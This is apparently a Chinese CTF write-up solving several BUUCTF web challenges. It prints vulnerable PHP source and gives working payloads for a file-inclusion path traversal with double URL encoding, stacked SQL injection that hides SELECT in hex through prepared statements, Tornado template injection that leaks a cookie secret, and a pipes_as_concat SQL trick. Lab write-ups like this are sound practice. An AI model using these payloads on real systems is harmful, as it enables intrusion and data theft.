layout: pagetitle: “BUUCTF-WEB-WriteUp”
date: 2019-10-10 01:01

[HCTF 2018]WarmUp

打开网址显示一个滑稽 查看源码提示source.php

  • 打开/source.php 查看源码
  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>
  • class emmm中checkFile中有一段
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

访问hint.php
显示flag not here, and flag in ffffllllaaaagggg

  • 回去看source.php源码
if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    }

当满足三个条件 file值不为空 file值为字符串 checkFile为真 执行file 任意文件包含

  • 前两个条件容易满足 关键checkFile返回真
    此函数有多处返回真代码 可以利用的代码片段是两处
  • 第一处利用代码
 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

这一段代码条件满足字符串中?之前的字符串在whitelist中也就是source.php或hint.php后面紧跟../包含ffffllllaaaagggg
经测试需要四层../../../../
构造payload?file=source.php?/../../../../ffffllllaaaagggg?file=hint.php?/../../../../ffffllllaaaagggg

  • 第二处利用代码

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

字符串经过一次url解码 在进行同上步骤 所以?两次url编码为%253f
构造payload?file=source.php%253f/../../../../ffffllllaaaagggg?file=hint.php%253f/../../../../ffffllllaaaagggg

  • flag{2d960f01-7d02-446e-9888-d9a08d6f266a}

[强网杯 2019]随便注

一道SQL注入题目
堆叠注入题目(堆叠注入就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行)

  • 1'#有回显 说明参数使用单引号闭合
  • 紧接着确定有多少列1' order by 2#有回显 1' order by 3#报错 确定两列
  • union查一下1' union select 1,2# 显示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);存在关键字过滤
  • 这时我们就只能试一下堆叠注入1'; show databases# 爆出一堆数据库 不知该下手哪一个
  • 爆一下表1'; show tables# 两个表1919810931114514words
  • 爆一下两个表的列
1';desc `1919810931114514`;#
1';desc `words`;#

回显证明1919810931114514表是有flag列

  • 没法用select直接获取flag 利用预处理 set用大小绕过
SET @sql = sql语句;  //设置变量
PREPARE yuchuli from @sql;   //预定义SQL语句
EXECUTE yuchuli;  //执行预定义SQL语句sqla
  • 构造payload
SET @sql = select * from `1919810931114514`;
PREPARE yuchuli from @sql; 
EXECUTE yuchuli;

由于select被过滤 可以用0x编码sql语句
最终payload

1';SET @sql = 0x73656C656374202A2066726F6D20603139313938313039333131313435313460;
PREPARE yuchuli from @sql; 
EXECUTE yuchuli;#
  • flag{2a64100c-3609-4340-99ce-a18b818d9d23}

easy_tornado

  • 打开网页显示
/flag.txt
/welcome.txt
/hints.txt

打开分别回显及对应url

flag in /fllllllllllllag    /file?filename=/flag.txt&filehash=1de1224fd807cf95a218e546956e98c2
render                      /file?filename=/welcome.txt&filehash=eac6557dcd24438b369890a4f2d1059a
md5(cookie_secret+md5(filename))    file?filename=/hints.txt&filehash=cf83e929dfd5900716ae2e9c2a64e715
  • 试一下file?filename=/fllllllllllllag&filehash=cf83e929dfd5900716ae2e9c2a64e715报错ERROR 并且urlerror?msg=Error
  • tornado框架存在handler.settings尝试/error?msg={{handler.settings}}
    得到cookie459f40bc-9132-48a7-a82e-9409e8d51a00
  • 根据md5(cookie_secret+md5(filename))得到filehash97582610e7ca4534ab0858894d38a167
  • 构造payload/file?filename=/fllllllllllllag&filehash=97582610e7ca4534ab0858894d38a167回显flag
  • flag{62662099-e484-4bd1-9ff0-7e55496fd9b1}

[强网杯 2019]高明的黑客

下载的压缩文件 3002个php文件 打开都是垃圾代码
本题是fuzz

[SUCTF 2019]EasySQL

sql注入

  • 输入0无回显 输入非0回显Array ( [0] => 1 ) 输入flag回显Nonono.
  • 输入1'无回显
  • 堆叠注入爆表1;show tables#回显Array ( [0] => 1 ) Array ( [0] => Flag )
  • 综上述判断内置的sql语句select 输入的数据||内置的一个列名 from 表名进一步判定select post_data || flag from Flag
  • 这里有两种解法
    第一种
第一种这里对字符过滤有所疏忽  譬如*就没有过滤 所以 注入`*,1` sql语句拼接成`select *,1 || flag from Flag`也就是`select *,1 from Flag`
回显`Array ( [0] => flag{3536a21c-ca9e-44ca-888b-75357b6df1c0} [1] => 1 )`

第二种

第二种才是预期解法使用`set sql_mode=pipes_as_concat;`将||变成字符串拼接而不是or 注入`1;set sql_mode=pipes_as_concat;select 1`sql语句拼接成`select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag` 其中`select 1 || flag from Flag`是将1与flag输出内容就行拼接 
回显`Array ( [0] => 1 ) Array ( [0] => 1flag{3536a21c-ca9e-44ca-888b-75357b6df1c0} )`